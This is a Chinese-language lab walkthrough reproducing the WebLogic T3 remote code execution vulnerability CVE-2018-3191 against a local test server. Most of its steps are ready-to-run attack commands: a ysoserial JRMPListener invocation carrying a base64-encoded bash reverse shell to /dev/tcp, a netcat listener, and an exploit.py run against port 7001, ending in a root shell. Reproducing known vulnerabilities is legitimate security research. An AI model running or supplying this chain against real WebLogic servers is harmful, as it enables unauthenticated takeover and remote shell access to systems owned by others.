WebLogic远程代码执行漏洞(CVE-2018-3191)复现


高危的WebLogic远程代码执行漏洞(CVE-2018-3191)允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。

漏洞分析文章

复现环境

本地搭建weblogic 10.3.6.0
本机ip 192.168.2.195
weblogic 192.168.2.195:7001
avatar

第一步:本地执行

$ java -cp ysoserial-master-v0.0.5-g16fc48b-20.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'

其中,“YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk1Lzc3NzcgMD4mMQ==”是“bash -i >& /dev/tcp/192.168.2.195/7777 0>&1“的base64编码,目的是避免Runtime.getRuntime().exec() 执行过程中将特殊符号转义。

avatar

ysoserial-master-v0.0.5-g16fc48b-20.jar下载

第二步:监听本地7777端口

$ nc -lvv 7777

avatar

第三步:执行exp

$ python exploit.py 192.168.2.195 7001 weblogic-spring-jndi-10.3.6.0.jar  192.168.2.195 2222

利用漏洞使weblogic 访问远程rmi服务,并执行bash反弹命令。

avatar

exploit.py下载

weblogic-spring-jndi-10.3.6.0.jar下载

第四步:获取反弹的bash,执行命令为root权限

avatar